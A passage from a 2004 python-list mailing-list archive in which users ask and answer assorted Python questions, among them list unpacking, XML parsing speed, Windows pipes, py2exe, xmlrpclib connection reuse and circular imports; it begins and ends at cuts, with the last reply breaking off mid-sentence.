<open file 'TCAP.TXT', mode 'r' at 0x006A7FA0>
>>>

Case doesn't matter.  'r' is the default mode, and it's exactly the same if
I pass "r" explicitly.




From wmwd2zz02 at sneakemail.com  Mon Feb 23 21:37:31 2004
From: wmwd2zz02 at sneakemail.com (Greg Ewing (using news.cis.dfn.de))
Date: Tue, 24 Feb 2004 15:37:31 +1300
Subject: derivation: sick Python trick of the week
In-Reply-To: <73c38014.0402231338.1ce858e9@posting.google.com>
References: <mailman.177.1077495021.27104.python-list@python.org>
	<c1bobu$1g1p9e$1@ID-169208.news.uni-berlin.de>
	<73c38014.0402231338.1ce858e9@posting.google.com>
Message-ID: <c1eddd$1h4621$1@ID-169208.news.uni-berlin.de>

has wrote:
> Raised this idea on the PythonMac SIG last week; it died a quick death
> once someone pointed out that boolean operators also perform flow
> control

I do have a plan for handling that. Yes, it'll be non-trivial
(although not too complicated, I hope), and yes, Guido probably
won't like it much, but you never know 'till you try...

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From eltronic at juno.com  Fri Feb 27 02:31:23 2004
From: eltronic at juno.com (eltronic at juno.com)
Date: Fri, 27 Feb 2004 02:31:23 -0500
Subject: Internet-scale distributed computing?
Message-ID: <20040227.034909.-172679.1.eltronic@juno.com>

On Thu, 26 Feb 2004 21:56:28 -0800 "Eric @ Zomething" writes:
> 
> [exercise for the reader is to compare and contrast the Yahoo and 
> Google results... oh where is PyYahoo when you need it?]
> 

yahoo 'distributed computing' turned up alot of grid refrences.

http://distributed.foundries.sourceforge.net is now linked
to http://www.devchannel.org/  not sure why.

 http://www.distributed.net has a contest to brute force
some standard encryption keys with teams and cash prizes.


e
please forward all spam  to "me"<u%63e at f%74c.go%76>

________________________________________________________________
The best thing to hit the Internet in years - Juno SpeedBand!
Surf the Web up to FIVE TIMES FASTER!
Only $14.95/ month - visit www.juno.com to sign up today!



From peter at engcorp.com  Wed Feb 18 16:23:57 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 16:23:57 -0500
Subject: Accessing method object from within a method
References: <4033d11a$1_2@news.unc.edu>
Message-ID: <4033D7ED.D3F7754F@engcorp.com>

Vivek Sawant wrote:
> 
> Is there a way to obtain the method/function object from within the
> method like 'self' refers to the object instance. I would like to avoid
> looking method name (string) in class/object attributes. My goal is to
> write code that need not be changed when the method name is changed.
> 
> def method (self, ...)
>    # somehow obtain 'methodobj' for this 'method'
>    mname = methodobj.__name__;
>    # do something with mname

The usual use for this is for debugging purposes, when somebody wants
to print the name of the current method.  If your needs are not much
different than that, look into sys._getframe() and frame objects.

-Peter


From rays at blue-cove.com  Sat Feb  7 12:08:44 2004
From: rays at blue-cove.com (RayS)
Date: Sat, 07 Feb 2004 09:08:44 -0800
Subject: Recognize structures in Images
In-Reply-To: <opr20dblac1bpyqk@news.swissonline.ch>
Message-ID: <5.2.1.1.2.20040207085443.0f301140@216.122.242.54>


At 05:27 PM 2/7/04 +0100, David D?rrenmatt wrote:

>I want to write a program in Python which can regonize structures in 
>images (e.g. a person's mouth in a picture of a face) and don't know how 
>to start...
>
>Do you know any web-ressources on this topic?

I've seen a lot, start at:
http://www.google.com/search?q=image+recognition+python&sourceid=mozilla-search&start=0&start=0&ie=utf-8&oe=utf-8

Ray




From mhammond at skippinet.com.au  Sun Feb  8 23:49:49 2004
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Mon, 09 Feb 2004 15:49:49 +1100
Subject: Sharing Pipes in win32
In-Reply-To: <mailman.1356.1076281957.12720.python-list@python.org>
References: <mailman.1356.1076281957.12720.python-list@python.org>
Message-ID: <c073hm$2ra7$1@arachne.labyrinth.net.au>

Nir of the Waves wrote:

> In windows platforms how can I make two processes hold two ends of the 
> same pipe?
> 
>  
> 
> os.pipe() returns reader and writer descriptors but how do I export one 
> of the ends to another process?
> 
>  
> 
> Note: popen() is not good for me since the new process is left without 
> tty input and output.

I believe you can either do it via a child process and handle 
inheritance (meaning os.* functions should work too), or via named pipes 
(meaning you will need to use win32process).

Mark.



From john.burton at jbmail.com  Thu Feb 26 13:05:22 2004
From: john.burton at jbmail.com (John Burton)
Date: Thu, 26 Feb 2004 18:05:22 +0000
Subject: How to obscure a password
In-Reply-To: <mailman.164.1077801277.8594.python-list@python.org>
References: <mailman.164.1077801277.8594.python-list@python.org>
Message-ID: <403e3561$0$4100$5a6aecb4@news.aaisp.net.uk>

Batista, Facundo wrote:
> I'm doing a small program, in which the user will have the option to enter
> his/her password everytime, or just save it (to a file).
> 
> So, is there a module to obscure the password text in a secure way?
> 
> I can't hash it (with md5 or something), because I not need to compare the
> password the user enters with a previous one.
> 
> I need to restore the password later and use it as if the user just entered
> it.
> 
> Thank you all!

Probably your best method is to install something like this -
http://www.amk.ca/python/code/crypto.html

and use AES or DES3 or similar to encrypt the passwords.
Of course you then have to keep the encryption keyt secure but that may 
or may not be a problem for you.


From jzgoda at gazeta.usun.pl  Sat Feb 14 03:24:31 2004
From: jzgoda at gazeta.usun.pl (Jarek Zgoda)
Date: Sat, 14 Feb 2004 08:24:31 +0000 (UTC)
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
	<mailman.6.1076585559.698.python-list@python.org>
	<c0jf75$or2$2@atlantis.news.tpi.pl> <402D4FF7.944423B7@engcorp.com>
	<c0jkc4$eds$1@atlantis.news.tpi.pl>
	<EJcXb.30763$uV3.53262@attbi_s51>
	<c0jlic$eds$4@atlantis.news.tpi.pl>
	<c0jrp0$ima$1@news.service.uci.edu>
Message-ID: <c0klvu$irj$1@nemesis.news.tpi.pl>

Josiah Carlson <jcarlson at nospam.uci.edu> pisze:

>>>Most of humanity doesn't use computers.
>> 
>> So... Should we write programs by drawing circles on the sand?
> 
> Of course not.  But your initial assertion that the library is useless 
> to the majority of humanity, because it does not support unicode, is false.
> 
> I find the library useless because I don't use XML (explicitly), either 
> for storage or for IPC.

Sure, I didn't take into account other contexts of usability. ;)

-- 
Jarek Zgoda
http://jpa.berlios.de/


From ncw at axis.demon.co.uk  Mon Feb  9 16:41:18 2004
From: ncw at axis.demon.co.uk (Nick Craig-Wood)
Date: 09 Feb 2004 21:41:18 GMT
Subject: Python style advice
Message-ID: <slrnc2enr8.bmp.ncw@irishsea.home.craig-wood.com>

Python newbie advice needed!

I'm tring to write what I would have expressed in Perl as

    my ($a, $b, $c) = @array;

This is very similar to the python statement

    a, b, c = array

BUT, the Python will throw an exception if array isn't exactly 3
elements long, wheras the Perl will work for any length of @array,
either throwing away excess elements or setting the variables to
undef, ie like this

    if len(array) >= 1:
       a = array[0]
    else:
       a = None
    if len(array) >= 2:
       b = array[1]
    else:
       b = None
    if len(array) >= 3:
       c = array[2]
    else:
       c = None

This works if array has >= 3 elements

    a, b, c = array[:3]

And this works however many elements array has

    a, b, c = (array + 3*[None])[:3]

but it doesn't seem very Pythonic - is there a better way?

-- 
Nick Craig-Wood
ncw at axis.demon.co.uk


From tdelaney at avaya.com  Mon Feb  9 15:30:17 2004
From: tdelaney at avaya.com (Delaney, Timothy C (Timothy))
Date: Tue, 10 Feb 2004 07:30:17 +1100
Subject: Problem removing win32all (163)
Message-ID: <338366A6D2E2CA4C9DAEAE652E12A1DE0128F9CE@au3010avexu1.global.avaya.com>

> From: St?phane Ninin
> 
> Problem is, when I want to unistall it,
> a window appears "Could not open INSTALL.LOG file"...
> and unistallation stops.
> 
> Is there a clean way to remove the package ? 
> Which directories, registry settings, must be cleaned ?

Since it's a WISE installer, it's probably quite possible to (assuming default Python 2.3 install):

cd C:\Python23\Lib\site-packages
UnWisePW32.exe W32INST.LOG

This should do it.

Tim Delaney



From chrish at cryptocard.com  Mon Feb 16 08:32:42 2004
From: chrish at cryptocard.com (Chris Herborth)
Date: Mon, 16 Feb 2004 08:32:42 -0500
Subject: XML Parsing
In-Reply-To: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
References: <slrnc2t6bv.4q2.tyler@darkstar.tylere.com>
Message-ID: <5z3Yb.3920$Cd6.177500@news20.bellglobal.com>

Tyler Eaves wrote:

> 	Right now I'm using xml.dom.minidom for parsing some xml files. It
> 	works, certainly, but the speed leaves a bit to be desired. Are there
> 	any other XML modules that offer the same interface minidom does, but
> 	are faster? Things like validation are not a big deal for me, as all
> 	the XML is generated by my own programs, so I'm not worried about
> 	malformed documents.

PyXML on Sourceforge (http://pyxml.sourceforge.net/) has faster 
DOM-producing routines.

pyRXP (http://www.reportlab.org/pyrxp.html) is probably the fastest XML 
parser for Python, but it doesn't produce a DOM or have a SAX API... it 
produces tuple-based output that's easy enough to dig through in Python.

I'm probably going to be working on a pyRXP -> DOM translator (I've got an 
existing DOM app that uses XPath; I don't want to rewrite it to use tuples), 
but no idea if/when it'll be in a working state.

-- 
Chris Herborth                                     chrish at cryptocard.com
Documentation Overlord, CRYPTOCard Corp.      http://www.cryptocard.com/
Never send a monster to do the work of an evil scientist.


From http  Mon Feb 16 22:16:36 2004
From: http (Paul Rubin)
Date: 16 Feb 2004 19:16:36 -0800
Subject: overriding method that returns base class object
References: <4031441c$0$202$75868355@news.frii.net>
	<4031481B.90B31C73@engcorp.com>
	<40315037$0$199$75868355@news.frii.net>
Message-ID: <7xwu6mmm3v.fsf@ruckus.brouhaha.com>

"Stuart McGraw" <smcg4191 at frii.RemoveThisToReply.com> writes:
> Class A has a method A.a() that returns an A.  I want a 
> identical class but with an additional property .newprop
> and method .b()  And I want .a() to return a B, not an A.
> 
>   class B (A):
>     def __init__(self, *args, **kwds):
>       A.__init__(self, *args, **kwds)
>       self.newprop = 99
>     def a(self):
>       x = A.a(self)    # x is an A
>       x.__class__ = B
>       return x    # I want x to be a B, i.e have b() and .newprop.

Ugh!!

> Yes, I know this is bogus.  But I am not sure what I should be doing.

I think you have to make B into a container for an A.  Something like:

class B(A):
     def __init__(self, *args, **kwds):
       self.newprop = 99
       self.wrapped_A = A(*args, **kwds)
     def a(self):
       x = B()
       x.wrapped_A = A.a(self.wrapped_A)
       return     # I want x to be a B, i.e have b() and .newprop.
     def __getattr__(self, attr):
       # delegate all inherited operations to the wrapped A object
       return A.__getattr__(self.wrapped_A, attr)

You might also be able to do something crazy, like change A's metaclass
so that its __new__ operation can make a B under certain circumstances.


From bart_nessux at hotmail.com  Mon Feb 23 10:15:28 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Mon, 23 Feb 2004 10:15:28 -0500
Subject: still trying to pass strings to the OS
Message-ID: <c1d5eg$gij$1@solaris.cc.vt.edu>

I posted on this topic a few days ago, got a tip to use popen to 
redirect stdin. Here's where I'm at now:

import popen2
r,w,e = popen2.popen3("/usr/bin/passwd")
print r.readline()
w.write("password")
w.flush()

When this is ran, the shell responds with "New password:" at the console 
and then nothing happens. I can key in the password and then confirm it 
manually after which "print r.readline()" does its thing by printing out 
"Changing password for user." Note that when the command is ran from the 
shell manually "Changing password for user." is the first thing printed 
to the console. So, here's my questions:

1. Why does my readline come last?
2. Also, when I do more than one readline, I get nothing, why is this?
    I should be able to read "New password:" and "Retype new password:"
    from the process.
3. Why is my write being ignored?



From cjw at sympatico.ca  Tue Feb 24 20:31:22 2004
From: cjw at sympatico.ca (Colin J. Williams)
Date: Tue, 24 Feb 2004 20:31:22 -0500
Subject: Webchecker Usage - a problem with local usage
Message-ID: <403BFAEA.8030408@sympatico.ca>

I have material on a local PC which I upload to a web server.

I would like to use webchecker to check both the local linkage and that 
at the remote server.

All works well when I check the remote server:  http://www3.sympatico. 
...  The URL for the index.html.

However, only the index.html is read when using: file:C:\\Python23/ 
...           The URL for the index.html.

The problem arises in the Checker method, where the basic structure of 
the url has been changed.  It no longer contains the root:

        def inroots(self, url):
            for root in self.roots:
                if url[:len(root)] == root:
                    return self.isallowed(root, url)
            return 0

It appears to be caused at urlparse lines 129 and 130,  where three '/' 
characters are prepended to the URL.

By commenting out lines 128, 128 and 130 of urlparse, I get the same 
report for the local files that I get from the web server.

I don't like modifying a library routine, even a local copy and would 
appreciate advice.

Thanks.

Colin W.



From cnoviello at hotmail.com  Thu Feb  5 14:22:43 2004
From: cnoviello at hotmail.com (Carmine Noviello)
Date: Thu, 5 Feb 2004 19:22:43 +0000 (UTC)
Subject: [ANN]PyCrash 0.2 released
References: <74f314add5546414f9cb3271a23f6937.46955@mygate.mailgate.org>
	<CnwUb.121111$cM1.22432482@twister.nyc.rr.com>
Message-ID: <a3c54444d6b1263db29c35ccb758dc40.46955@mygate.mailgate.org>

> Sounds great but... Why GPL (and not python)? It will prevent a lot of 
> us working grunts from using the module in the Commanie's code... And we 
> want MORE python!
> my 0.5c

I have chosen the GPL without any special reason: I know it and so I
simply used it. I?m not a license expert: I write code, no contracts.
However, my major intent is to contribute to python community with this
tool: so, if the type of licence can be a problem for the end-user I?m
ready to change it in the future.

Bye



-- 
Posted via Mailgate.ORG Server - http://www.Mailgate.ORG


From me at privacy.net  Sun Feb 15 15:09:46 2004
From: me at privacy.net (Alejandro López-Valencia)
Date: Sun, 15 Feb 2004 15:09:46 -0500
Subject: beeline through tkinter
References: <qj6Xb.476569$JQ1.239547@pd7tw1no>
	<c0itcq$hno$1@news-reader1.wanadoo.fr>
Message-ID: <c0ojn3$193tka$1@ID-99513.news.uni-berlin.de>

On Fri, 13 Feb 2004 17:26:36 +0100, Eric Brunel
<eric.brunel at N0SP4M.com> wrote:

>Elaine Jackson wrote:
>> I'm about to tackle tkinter, but here's the thing: The only kind of GUI I want
>> to work on is a chessboard (an 8x8 grid of images that can be "moved around").
>> So before I start, I'm asking the room at large: Is there some way of going
>> directly to what I'm interested in? Any help will be very much appreciated.
>
>If you don't already have it, download the source distribution of Python and go 
>to the Demo/tkinter/matt sub-directory. There are many examples here that you 
>can use to do what you want; see for example canvas-moving-w-mouse.py

Even better yet (each command goes in a single line):

prompt> cvs -d:pserver:anonymous at cvs.sourceforge.net:/cvsroot/python
login

	[hit Enter Key when prompeted for a password]

prompt> cvs -z3
-d:pserver:anonymous at cvs.sourceforge.net:/cvsroot/python checkout -d
python_demo_scripts -P dist/src/Demo 

prompt> cvs -z3
-d:pserver:anonymous at cvs.sourceforge.net:/cvsroot/python checkout -d
python_tool_scripts -P dist/src/Tools

And you'll have more examples than you can shake a stick at. Beats
downloading an 8 Mb tarball compressed with bzip2 at any rate.

If you are CVS challenged (not surprising if you haven't used anything
but Windows or MacOS during the duration of your natural life), go to
http://www.wincvs.org/ and download the GUI client and to
http://cvs.cvshome.org/ for a copy of the CVS book.

Alejo

-- 
The limits of my language are the limits of my world.
                                 Ludwig Wittgenstein

Get in touch through <http://dradul.tripod.com/>


From bokr at oz.net  Tue Feb 17 17:45:06 2004
From: bokr at oz.net (Bengt Richter)
Date: 17 Feb 2004 22:45:06 GMT
Subject: Inconsistent behavior of split on empty string
References: <8ffb92e6.0402130046.633f73f7@posting.google.com>
Message-ID: <c0u5hi$8l0$0@216.39.172.122>

On 13 Feb 2004 00:46:00 -0800, bk_kl at gmx.de (bk_kl at gmx.de) wrote:

>Hi,
>
>I think the following behavior of the build in function 'split' is inconsistent.
>What do you think?
>
>>>> "".split()
>[]
>>>> "".split(";")
>['']
>
>I'm using python 2.3.3 on Windows 2000.
>(Perl's split only returns all items up to the last non-empty item,
> e.g. <perl>split /;/, "; ;;;"; gets you ['', ' ']. I find this confusing, too).

.split() is not an information-preserving split. It is a convenient special case
whose function should not be confused with that of .split(something).

The latter would be buggy if you could not successfully do this:

 >>> anystring = ''
 >>> somestring = ';'
 >>> assert anystring == somestring.join(anystring.split(somestring))
 >>> anystring == somestring.join(anystring.split(somestring))
 True

Unfortunately (other than making a likely bug announce itself),

 >>> somestring = ''
 >>> anystring == somestring.join(anystring.split(somestring))
 Traceback (most recent call last):
   File "<stdin>", line 1, in ?
 ValueError: empty separator

but otherwise I think it works.

Regards,
Bengt Richter


From no at spam.pls  Wed Feb 18 06:11:43 2004
From: no at spam.pls (Matthias)
Date: 18 Feb 2004 12:11:43 +0100
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>
	<4030D457.D193F14C@engcorp.com>
	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
Message-ID: <36wbrnwk5g0.fsf@goya03.ti.uni-mannheim.de>

Harry George <harry.g.george at boeing.com> writes:

> Normally a science passes through phases:
> 
> a) Natural History.  Wander around, get the lay of the land,
> collect specimens, and try to organize what you find into mnemonically
> effective schemes.
> 
> b) Field Research.  Pose a hypothesis, isolate a piece of the field as
> best you can, and apply your experimental factors and controls.
> Observe results and interpret with a large grain of salt.
> 
> c) Lab Research. Set up isolated envieonments with significant
> attention to eliminating non-experimental reasons for variation.  Pose
> the hypotheses.  Observe results, and interpret with recognition that
> a lab may be a poor model for reality.
> 
> You are asking that we jump to lab research when the field barely
> sustains field research.  Mostly we are still in natural history and
> anecdotes.  

We agree in the description of the current situation.  That only few
lab research (with a selection of suitably created language variants
[1]) is being done is a political decision, however.  It's more sexy
to create-and-hype new languages/tools/processes than to do actual
research.

> Of course, even in the natural history phase pioneers and advance
> scouts are capable of detecting an easier pass through the mountains
> of comlexity.  If 20 people from varied background, each of whom has
> worked in several languages, tell me that Python is a really great
> language, then I'll take that as a significant data point.  Especially
> if they are dumping their previously favorite languages (as varied as
> COBOL, Perl, Java, C++, VB, Modula-3, Lisp, Prolog) to focus on
> Python.

The problem with this approach is that if you go to a LISP/ Prolog/
Modula-3/ etc. newsgroup and ask around, you will find 20 people from
varied background telling you that LISP/ Prolog/ Modula-3/ etc. is a
really great language. In better randomized samples, popularity vote
will be strongly biased toward languages with strong marketing.

If people say "I'm doing X and I'm very happy with language Y for
reason Z" that's fine.  But we probably should stop over-selling
languages (or tools or processes) claiming large increases in
productivity without having solid evidence at our hands.

  Matthias

---
[1] An example of a study that I would call scientific is Lutz
Prechelt, Walter F. Tichy: "A Controlled Experiment to Assess the
Benefits of Procedure Argument Type Checking", IEEE Trans on
Soft. Eng., 1998, where two almost identical languages are compared in
a small application domain.  The only difference is that one language
does some type checking, the other does none.


From michele.simionato at poste.it  Wed Feb 11 02:16:07 2004
From: michele.simionato at poste.it (Michele Simionato)
Date: 10 Feb 2004 23:16:07 -0800
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
	<6ee58e07.0402080823.75df2850@posting.google.com>
Message-ID: <95aa1afa.0402102316.60fb3c22@posting.google.com>

llothar at web.de (Lothar Scholz) wrote in message news:<6ee58e07.0402080823.75df2850 at posting.google.com>...
> > Is 500 lines a good count to start splitting up the code?
> 
> No !
> My modules are normally between 1000-3000 lines. Having to much files
> (worst case scenario is PHP) is just another form of spaghetti code.

Oh! As a comparison, my modules are typically 100-200 lines long. I don't
feel they are spaghetti, since they are collected in directories with
well chosen names and/or in packages. Also, they are typically intended
to be reusable. Moreover, I feel much easier to edit simultaneously 
three or four buffers than to navigate back and forth on a very long single 
buffer. Finally, I don't want to be too dependent on the editor features, so
small modules are a win should I need to use Notepad (God save me! ;)

P.S. once I computed the average lenght of modules in the standard library.
The result was something like 200 lines.

   Michele Simionato


From wstandley at netpv.com  Sat Feb 14 08:35:47 2004
From: wstandley at netpv.com (Will)
Date: Sat, 14 Feb 2004 13:35:47 GMT
Subject: Beginners list of Python donloads - please review
Message-ID: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>

Pardon two post in a row to the newsgroup but I want to try and expedite
this, if you guys don't mind helping out...

I running Windows XP Pro and wanted to download Python and any additional
tools I should consider using as I get going...

1 - Python-2.3.3.exe from www.Python.org
2 - win32all, a collection of Windows-specific extensions including COM
support and Pythonwin, an IDE built using Windows components from Mark
Hammond's
3 - Py2exe from http://starship.python.net/crew/theller/py2exe/index.html
4 - PythonCard from http://pythoncard.sourceforge.net/
5 - WxPython from http://www.wxpython.org/
6 - Python Docs from http://www.python.org/doc/2.3.3/
7 - Beginners Guide to Python from http://www.python.org/topics/learn/
(various options here)

Please suggest additions or deletions.

Thanks - Will






From brendano at stanford.edu  Sun Feb 29 23:53:21 2004
From: brendano at stanford.edu (Brendan O'Connor)
Date: Sun, 29 Feb 2004 20:53:21 -0800
Subject: python and multimedia
References: <slrnc3v9u8.dnp.vedranf@rijeka.riteh.hr>
Message-ID: <c1ufkc$99m$1@news.Stanford.EDU>

Hi,

You might want to check out http://pygame.org which can at least do some of
the sound stuff.  It wraps the SDL library which runs on both Linux and
Windows.

-Brendan



"Vedran Furac" <vedranf at riteh.hr> wrote in message
news:slrnc3v9u8.dnp.vedranf at rijeka.riteh.hr...
> Is there any modules dealing with multimedia (it needs to be portable
> between windows and linux). I didn't found anything useful.
> For audio I need something to play mp3s (and ogg), extract frames,
> basic sound editing and effects. For video I need to play mpeg1,2,4,
encode,
> decode it, basic editing and frames extracting. Also I need something to
> capture video from tuner. I found fastaudio (portaudio), pyffmpeg (ffmpeg)
> pyVidCapture. But it lacks of documentation and I don't know if it even
> works...demo/test.py doesn't (at least for me).
> http://www.freenet.org.nz/python/pyPortAudio/
> http://207.34.118.42/~john/pyffmpeg/
> Any suggestions?
>
> Sorry for my bad english.




From michael at telcopartners.com  Tue Feb 10 22:43:05 2004
From: michael at telcopartners.com (Michael Spencer)
Date: Tue, 10 Feb 2004 19:43:05 -0800
Subject: Args starting w/ *?
References: <mailman.1432.1076443368.12720.python-list@python.org>
	<c0bhib$4od$04$1@news.t-online.com>
Message-ID: <paCdnZFI-exUObTdRVn-gg@comcast.com>

This is a common question, but IMO it is relatively hard to find the answer
in the docs unless you know what you're looking for.

Under PythonWin, searching indexed manual, none of :
     *, **, argument, arguments, function, signature, keyword, positional
yields the answer

Michael

"fBechmann" <fBechmann at web.de> wrote in message
news:c0bhib$4od$04$1 at news.t-online.com...
> I'm quite new to this newsgroup and I found it to be helpfull for my
> tiny problems many times so for sure I'm not the one to announce a
> leading oppinion.
>
> Nevertheless I think that topics on questions that could be answered w/
> a 2 min look into the great documentation are somehow overwhelming the
> newsgroup - it's just distracting.
>
> Too be constructive and polite:
>
>
http://www.python.org/doc/current/tut/node6.html#SECTION006730000000000000000




From Holger.Joukl at LBBW.de  Fri Feb 20 03:11:14 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Fri, 20 Feb 2004 09:11:14 +0100
Subject: control-c and threads,
	signals in 2.3 causing all sorts of issues ['LBBW': checked]
Message-ID: <OFEF90B9DA.3744FED6-ONC1256E40.002C9BF5@lbbw.sko.de>

Hi,
here is s.th. I used in a Python 1.5.2 app, maybe it can help:

import sys, signal
# a raw_input you can use with signal handlers
# the builtin raw_input raises a KeyboardInterrupt exception even if you
installed a signal handler
def my_raw_input(prompt):
    try:
        return raw_input(prompt)
    except KeyboardInterrupt:
        frame = sys.exc_info()[2].tb_frame
        sig = signal.SIGINT
        signal.getsignal(sig)(sig, frame) # call the signal handler for sig

__________________


Srikanth Mandava <Srikanth.Mandava at cosinecom.com> writes:

>     Hi!
>
>      When a signal handler is registered in the main thread and
>      "control-c" is entered, the child thread is getting the
>      KeyboardInterrupt exception(The documentation says the main thread
>      MUST receive the signal handler function call if handler is
>      registered).

Hmm.  Threads + signals == mwh running off screaming...

>      In python 2.2.1 the main thread was always called with
>      the sigint signal handler which was registered. In my case the
>      child thread is waiting on stdin using "raw_input" function. This
>      seems to be causing all sorts of strange behavior in the program
>      once the child thread gets the keyboardinterrupt exception and
>      eventually leading to seg fault on a sys exit .

Oh oh, if you're using raw_input(), readline might be getting
involved...

>      Any idea why this is happening in 2.3.1? This scenario worked in
>      2.2.1. Is this fixed in 2.3.2?.

Is this thread relavent?

http://groups.google.com/groups?threadm=a6562e06.0401061844.3269da85%40posting.google.com


OS, libc and versions of same might be useful, too.

Cheers,
mwh

--
  I located the link but haven't bothered to re-read the article,
  preferring to post nonsense to usenet before checking my facts.
                                      -- Ben Wolfson, comp.lang.python
--
 http://mail.python.org/mailman/listinfo/python-list

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request a hard copy version.






From aaron at metrony.com  Thu Feb 19 22:09:10 2004
From: aaron at metrony.com (Aaron)
Date: Fri, 20 Feb 2004 03:09:10 GMT
Subject: py2exe problem - need wsvc6?
In-Reply-To: <fc96c968.0402191803.62f9465a@posting.google.com>
References: <fc96c968.0402191803.62f9465a@posting.google.com>
Message-ID: <40357A5B.5090701@metrony.com>

You do not need a C compiler to make a standalone application.
In version 0.5 the setup.py files changed a bit.

First of all can you run your python script on the commandline?

I have a hello world app as follows:

#pTest.py
print "Hello World"

#setup.py
from distutils.core import setup
import py2exe
setup(name='Test',
       description="a Test",
       version='0.1.0',
       console=['pTest.py'])


#build.bat
e:\Python23\python.exe setup.py py2exe

Try to build this app and see if your py2exe is setup correctly.

-Aaron
http://metrony.com

Tim Axtelle wrote:

> I am new to Python and am trying to create a standalone exe from a
> python script using py2exe 0.5.0 and Python 2.3 without success.  I am
> able to generate the appropriate .exe file but it is not executable. 
> Running it does absolutely nothing.
> 
> The sourceforge site says that wsvc6 is required for py2exe.  Is this
> true?  If so, it is contradiction with the python faq which claims
> that no C compiler is necessary with py2exe.
> 
> I also tried Gordon Mcmillan's installer which I found completely
> incomprehensible despite the prodigous "easy to use" claims.
> 
> Please help this obviously flustered newbie.  Thanks in advance.


From rogerb at rogerbinns.com  Tue Feb 17 03:26:15 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Tue, 17 Feb 2004 00:26:15 -0800
Subject: xmlprclib/server not reusing connections
Message-ID: <spv8g1-fev.ln1@home.rogerbinns.com>

It appears that xmlrpclib and/or SimpleXMLRPCServer always use new
connections for each request.  I have been trying to make them
reuse the existing connection but can't find where.  Is there any
particular reason they go to such great lengths to call shutdown/close/finish
as well as making new connection objects in xmlrpclib?

I am actually using M2Crypto so the connection ultimately ends up
inside SSL.  Having a new connection established for every single
request is insane, especially as most of my requests will be lightweight.
I expect the clients and servers to be on lower bandwidth connections
and usually on opposite ends of the US.

My attempts so far to make reuse happen have led to a twisty maze
of deep inheritance hierarchies and intertwined transports, connections
and request handlers hard coding each others classes.  No amount of
debugging and commenting out shutdown/close/finish prevents new
connections from being used.

Roger




From claird at lairds.com  Sun Feb  1 00:46:12 2004
From: claird at lairds.com (Cameron Laird)
Date: Sun, 01 Feb 2004 05:46:12 -0000
Subject: Running External Programs from Within Python
References: <5a40bf6a.0401311123.4b7f783f@posting.google.com>
	<5a40bf6a.0401311123.4b7f783f@posting.google.com>
	<mailman.1081.1075583900.12720.python-list@python.org>
	<bvhbr7$6rj$07$1@news.t-online.com>
Message-ID: <101p4l4p9o8sf14@corp.supernews.com>

In article <bvhbr7$6rj$07$1 at news.t-online.com>,
Dirk Hagemann  <usenet at mail-2-me.com> wrote:
>RayS wrote:
>> Hi Dirk,
>> 
>>> That is very easy: popen()
>>> Check the FAQ and documentation again for popen.
>> 
>> 
>> That reminds me, I was asked if you can open a bi-directional pipe to 
>> control an external console program on Windows. A guy has compiled 
>> FORTRAN (~4,000 lines of 1980's spaghetti) and wants to add a modern GUI 
>> and a front end method to check data.
>> Can you both send commands to, and read STDOUT from, a remote console app?
>> 
>> Ray
>> 
>> 
>I'm not sure if I got the point, but, for example, with popen I can ping 
>from the console a computer and read the result.
>But sending commands to a remote console is a problem which troubles 
>myself in another context (I asked here yesterday).
>
>Dirk

The answer is, yes, you can do what you want--assuming that
"remote" means something different to you than the way the
rest of us are reading it.

The kind of wrapping you're describing is a VERY common use
of Python.  Before we provide more details, though, you go
first; specifically, are you thinking of your bi-directional
pipe as a batch operation, or a programmatic one?  Do you
know at the time you launch the Fortran-coded application
all the input it'll need?
-- 

Cameron Laird <claird at phaseit.net>
Business:  http://www.Phaseit.net


From cgadgil_list at cxoindia.dnsalias.com  Tue Feb 24 05:35:19 2004
From: cgadgil_list at cxoindia.dnsalias.com (Chetan Gadgil)
Date: Tue, 24 Feb 2004 16:05:19 +0530
Subject: Newbie - circular import problem
In-Reply-To: <db1b46bd.0402240215.4d7ea76a@posting.google.com>
Message-ID: <032801c3fac1$e6bc0620$5b0aa8c0@cxodt03>

Try:

> --b.py--
import a
class ClassB(a.ClassA):
    def __init__(self):
        print 'ClassB'
 




`I know what you're thinking about,' said Tweedledum: `but it isn't so,
nohow.'
    -- Lewis Carroll, Through the Looking Glass


> -----Original Message-----
> From: 
> python-list-bounces+cgadgil_list=cxoindia.dnsalias.com at python.
> org 
> [mailto:python-list-bounces+cgadgil_list=cxoindia.dnsalias.com
> @python.org] On Behalf Of sw
> Sent: Tuesday, February 24, 2004 3:46 PM
> To: python-list at python.org
> Subject: Newbie - circular import problem
> 
> 
> Can you give me some pointers on resolving this circular 
> inclusion? I've got 
> two classes, in two files:
> 
> --a.py--
> import b
> class ClassA:
>     def __init__(self):
>         print 'ClassA'
> 
> --b.py--
> import a
> class ClassB(ClassA):
>     def __init__(self):
>         print 'ClassB'
>  
> If I try to access ClassB (for example, by firing up python 
> and importing b), I get the error:
> 
>   File "b.py", line 2, in ?
>     class ClassB(ClassA):
>     NameError: name 'ClassA' is not defined
> 
> Could someone explain what is going wrong here? I'm still 
> getting up to speed with python, but, to me, this looks like 
